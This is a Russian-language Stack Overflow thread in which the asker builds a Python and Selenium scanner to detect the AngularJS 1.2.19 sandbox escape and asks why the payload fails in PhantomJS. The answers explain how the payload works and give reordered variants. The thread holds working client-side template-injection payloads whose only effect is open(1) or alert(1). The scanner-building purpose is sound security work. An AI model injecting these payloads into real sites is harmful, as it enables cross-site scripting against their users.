Странное поведение JavaScript в PhantomJS / WebKit

Я создаю приложение на Python, которое проверяет, уязвимо ли определенное веб-приложение для AngularJS Sandbox Escape / Bypass.

Вот как это работает.

Мое приложение запускает локальный веб-сервер (http://localhost), используя следующий контент.

<!DOCTYPE html>
<html>
    <head>
        <script src="https://code.angularjs.org/1.2.19/angular.min.js"></script>
    </head>
    <body ng-app="">
        {{c=toString.constructor;p=c.prototype;p.toString=p.call;["a","open(1)"].sort(c)}}
    </body>
</html>

Я использую полезную нагрузку Sandbox Escape {{c=toString.constructor;p=c.prototype;p.toString=p.call;["a","open(1)"].sort(c)}}, которая должна открывать новое окно из-за вызова open(1).

После запуска веб-сервера он использует Selenium (с PhantomJS в качестве драйвера), чтобы проверить, открылось ли новое окно из-за выхода из песочницы AngularJS.

capabilities = dict(DesiredCapabilities.PHANTOMJS)
capabilities["phantomjs.page.settings.XSSAuditingEnabled"] = False

browser = webdriver.PhantomJS(
    executable_path="../phantomjs/win-2.1.1",
    desired_capabilities=capabilities,
)

browser.get("http://localhost/")

return len(browser.window_handles) >= 2

Проблема, с которой я столкнулся

PhantomJS не открывает новое окно. Когда я перехожу к http://localhost с помощью Google Chrome, он открывает новое окно.

Вот журнал консоли PhantomJS (содержащий две ошибки):

[
    {
        "level":"WARNING",
        "message":"Error: [$interpolate:interr] http://errors.angularjs.org/1.2.19/$interpolate/interr?p0=%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bc%3DtoString.constructor%3Bp%3Dc.prototype%3Bp.toString%3Dp.call%3B%5B'a'%2C'open(1)'%5D.sort(c)%7D%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20&p1=SyntaxError%3A%20Expected%20token%20')'\n (anonymous function) (https://code.angularjs.org/1.2.19/angular.min.js:92)",
        "timestamp":1501431637142
    },
    {
        "level":"WARNING",
        "message":"Error: [$interpolate:interr] http://errors.angularjs.org/1.2.19/$interpolate/interr?p0=%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bc%3DtoString.constructor%3Bp%3Dc.prototype%3Bp.toString%3Dp.call%3B%5B'a'%2C'open(1)'%5D.sort(c)%7D%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20&p1=Error%3A%20%5B%24parse%3Aisecfn%5D%20http%3A%2F%2Ferrors.angularjs.org%2F1.2.19%2F%24parse%2Fisecfn%3Fp0%3Dc%253DtoString.constructor%253Bp%253Dc.prototype%253Bp.toString%253Dp.call%253B%255B'a'%252C'open(1)'%255D.sort(c)\n (anonymous function) (https://code.angularjs.org/1.2.19/angular.min.js:92)",
        "timestamp":1501431637142
    }
]

А это журнал консоли Google Chrome (выдает ошибку, но открывает новое окно):

Error: [$interpolate:interr] http://errors.angularjs.org/1.2.19/$interpolate/interr?p0=%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bc%3DtoString.constructor%3Bp%3Dc.prototype%3Bp.toString%3Dp.call%3B%5B'a'%2C'open(1)'%5D.sort(c)%7D%7D%20%20%20%20%20%20%20%20%20%20%20%20%0A%0A&p1=Error%3A%20%5B%24parse%3Aisecfn%5D%20http%3A%2F%2Ferrors.angularjs.org%2F1.2.19%2F%24parse%2Fisecfn%3Fp0%3Dc%253DtoString.constructor%253Bp%253Dc.prototype%253Bp.toString%253Dp.call%253B%255B'a'%252C'open(1)'%255D.sort(c)
    at angular.js:36
    at Object.r (angular.js:8756)
    at k.$digest (angular.js:12426)
    at k.$apply (angular.js:12699)
    at angular.js:1418
    at Object.d [as invoke] (angular.js:3917)
    at c (angular.js:1416)
    at cc (angular.js:1430)
    at Xc (angular.js:1343)
    at angular.js:21773

Некоторые другие полезные нагрузки AngularJS Sandbox Escape работают без каких-либо проблем. Например, полезная нагрузка ниже (для AngularJS версий 1.0.0–1.1.5) открывает новое окно в Chrome, а также в PhantomJS.

{{constructor.constructor('open(1)')()}}

Я надеюсь, что кто-то сможет помочь мне решить эту проблему, чтобы я мог определить, успешно ли выполнялась полезная нагрузка.

Обратите внимание, что я использую open(1) вместо alert(1), поскольку в PhantomJS невозможно обнаружить предупреждения.

Заранее спасибо.


Обновление 1:

Это JSFiddle, который работает в Google Chrome, но не работает в PhantomJS. Я ищу решение (возможно, изменение полезной нагрузки или настроек PhantomJS или чего-то еще), чтобы полезная нагрузка также запускалась в PhantomJS.

https://jsfiddle.net/x90ey5fa/

Обновление 2:

Я выяснил, что это не связано с AngularJS. Приведенный ниже JSFiddle содержит 4 строки JavaScript, которые работают в Google Chrome, но не работают в PhantomJS. Я также прикрепил журнал консоли от PhantomJS.

https://jsfiddle.net/x90ey5fa/2/

{'level': 'WARNING', 'message': "SyntaxError: Expected token ')'\n  Function (undefined:1)\n  sort (:0)", 'timestamp': 1501795341539}`

Сведения о версии:

Operating System: Windows 10 x64

Python version: 3.6.1

Google Chrome version: 60.0.3112.78

PhantomJS version: 2.1.1

Selenium version: 3.4.3 (installed via PIP)


person Tijme    schedule 30.07.2017    source источник
comment
js Подправьте, пожалуйста. Я сделаю все возможное, чтобы помочь тебе.   -  person Jorge Fuentes González    schedule 03.08.2017
comment
Думаю, это как минимум ошибка QtWebKit. PhantomJS использует Qt на внутренней стороне. Я использовал PySide (порт Qt), чтобы создать простой тестовый веб-браузер, и он также не может анализировать этот JavaScript.   -  person Andrew Myers    schedule 05.08.2017
comment
@AndrewMyers Спасибо. Это странно, поскольку тот же движок используется в Google Chrome (источник: trac.webkit.org/wiki/QtWebKitFeatures22)   -  person Tijme    schedule 05.08.2017
comment
Эта страница не обновлялась 6 лет. Chrome разветвил WebKit и теперь использует Blink. Однако QtWebKit должен быть таким же, как Safari. Было бы интересно попробовать это в Safari.   -  person Andrew Myers    schedule 05.08.2017
comment
@AndrewMyers Спасибо. Только что протестировал в Safari. Выдает Syntax Error: Unexpected token '('. Expected a ')' or a ',' after a parameter declaration.. Итак, теперь мне интересно, должна или не должна выполняться полезная нагрузка в соответствии со стандартами JavaScript.   -  person Tijme    schedule 05.08.2017
comment
@AndrewMyers Может быть, я смогу сделать полезную нагрузку совместимой с QtWebKit и правильной версией AngularJS. Это было бы круто :)   -  person Tijme    schedule 05.08.2017
comment
@Tijme Я попробовал вторую ссылку Jsfiddle на хроме. Он заблокировал открытие нового окна. Это механизм безопасности ib browser, который предотвращает открытие всплывающих окон программно. Если вы делаете это в ответ на действие пользователя, такое как нажатие кнопки, все должно быть в порядке. Я предполагаю, что фантом также блокирует это всплывающее окно. Проверьте это для получения дополнительной информации.   -  person arunkjn    schedule 06.08.2017
comment
@arunkjn Спасибо. PhantomJS по умолчанию не блокирует всплывающее окно. Я также тестировал его с другими полезными нагрузками, и они отлично открывают всплывающие окна. Вы также можете попробовать изменить вызов open на document.write или что-то в этом роде, и вы увидите, что он работает в Chrome, но не в PhantomJS.   -  person Tijme    schedule 06.08.2017
comment
Можете ли вы попробовать использовать бета-версию PhantomJS 2.5 из bitbucket.org/ariya/phantomjs/downloads?   -  person Vaviloff    schedule 07.08.2017
comment
@Vaviloff Да, я пробовал и старые версии, но, к сожалению, ни одна из них не работает.   -  person Tijme    schedule 07.08.2017


Ответы (2)


Ваша ошибка Safari очень показательна (и я ругаю себя за то, что не читал ее более внимательно). Наблюдать:

Синтаксическая ошибка: неожиданный токен '('. Ожидается ')' или ',' после объявления параметра.

Эта parameter declaration часть важна.

Что делает полезная нагрузка

  1. Установите c в toString конструктор, Function (который создает функции)
  2. Перенаправляет метод toString прототипа Function на call
  3. Сортирует массив с помощью c, создавая новую функцию с помощью Function("a", "open(1)")
  4. Я не уверен, почему, но результат этого sort преобразуется в строку через toString, который был перенаправлен на call, в результате вызывается новая функция, которая вызывает open(1)

Во всяком случае, именно так это работает в Chrome. Однако .sort() не обязательно работает одинаково во всех браузерах. Он просто должен сортировать вещи ... так почему это важно, в каком порядке они просматривают элементы? В конце концов, переданная функция должна убедиться, что все в любом случае выходит в правильном порядке.

Как указано в MDN, синтаксис для Function является

Function ([arg1[, arg2[, ...argN]],] functionBody)

WebKit сортирует его «в обратном порядке», поэтому вместо вызова Function("a", "open(1)") он делает вызов Function("open(1)", "a"). Когда указано несколько аргументов, последний считается телом функции, а все остальные интерпретируются как аргументы. Вот почему вы получаете неожиданный жетон. Скобки не являются допустимой частью имени параметра.

Вот альтернатива:

c=toString.constructor;p=c.prototype;p.toString=p.call;["open(1)","a"].sort(c)

Я протестировал его в своем браузере на основе QtWebKit, и он сработал. Конечно, это также вызовет SyntaxError в Chrome, потому что аргументы "обратные" ...


Ниже приведены несколько попыток заставить это работать без проблем в Angular как на PhantomJS, так и в Chrome. Опять же, они не работают. Я оставляю их здесь на случай, если они вдохновят кого-то на создание более полного решения.

Работает с PhantomJS и Chrome, но не с Angular (из-за function):

[1, 0].sort(function(a, b){n=a});d=(n)?["a","open(1)"]:["open(1)","a"];c=toString.constructor;p=c.prototype;p.toString=p.call;d.sort(c)

Работает с Angular в Chrome, но не с PhantomJS:

c=toString.constructor;p=c.prototype;p.toString=p.call;['b=1','d=1'].sort(c);((window.b===undefined)?["a","alert(1)"]:['alert(1)','a']).sort(c)
person Andrew Myers    schedule 08.08.2017
comment
Вау, это круто. Спасибо за объяснение. Последний, к сожалению, не работает с AngularJS, но обратный массив работает :) - person Tijme; 08.08.2017
comment
Полезная нагрузка, которая работает как в Chrome, так и в QtWebKit, выдает эту ошибку при использовании в AngularJS: docs.angularjs.org/error/$parse/ < / а> - person Tijme; 08.08.2017
comment
да. Я не думал об этом. Angular предполагается блокирует все ссылки на function, включая Function и toString.constructor. Даже исходная полезная нагрузка вызывает предупреждение лексера сразу после запуска функции. - person Andrew Myers; 08.08.2017
comment
Я подумал, что могу просто создать два массива (в разном порядке), а затем вызвать sort для них обоих. Но, к сожалению, он перестает работать, если первая сортировка выдает ошибку. Довольно сложно сделать его кроссбраузерным. - person Tijme; 08.08.2017
comment
Если вы хотите что-то заманчиво близкое, попробуйте jsfiddle.net/8k292ppt. Он может создавать две функции, и первая создает глобальную переменную. Однако я не уверен в использовании b=1 в качестве параметра. Моему QtWebKit это не нравится, поэтому PhantomJS может не понравиться. - person Andrew Myers; 08.08.2017
comment
Вот он снова, на этот раз с использованием глобальных переменных для настройки следующего массива: jsfiddle.net/8k292ppt/ 1 - person Andrew Myers; 08.08.2017
comment
Позвольте нам продолжить это обсуждение в чате. - person Tijme; 08.08.2017

Вы можете сделать это разными способами. Назвать несколько:

Вы можете создать (или удалить) элемент HTML и обнаружить его в Selenium.

Кроме того, вы можете сделать console.log и обнаружить его следующим образом: Есть ли способ просматривать сообщения PhantomJS console.log через Selenium / GhostDriver?

Другой способ - вызвать функцию PhantomJS, которая будет напрямую уведомлять фантомный экземпляр с любой полезной нагрузкой, которую вы хотите (при условии, что полезной нагрузкой является JSON.stringifable).

Никогда не использовал Selenium, поэтому не знаю, есть ли у вас доступ к экземпляру PhantomJS / page. Если Selenium позволяет вам это сделать, вы можете сделать что-то вроде этого:

phantomjs.page.onCallback = function(data) {
    console.log('CALLBACK: ' + JSON.stringify(data));
};

И на вашей веб-странице:

{{c=toString.constructor;p=c.prototype;p.toString=p.call;["a","window.callPhantom && window.callPhantom('YAY!')"].sort(c)}}

Например, до тех пор, пока вы можете запускать код JavaScript, который хотите, вы можете делать все, что можете придумать.

Самый простой способ сделать это - переключиться в «реверсивный режим».

person Jorge Fuentes González    schedule 03.08.2017
comment
Спасибо, но проблема не в том, что я не могу обнаружить полезную нагрузку. Проблема в том, что полезная нагрузка не выполняется в PhantomJS. Попробую отредактировать свой вопрос, чтобы было немного понятнее. - person Tijme; 03.08.2017
comment
@Tijme О, моя плохая - person Jorge Fuentes González; 06.08.2017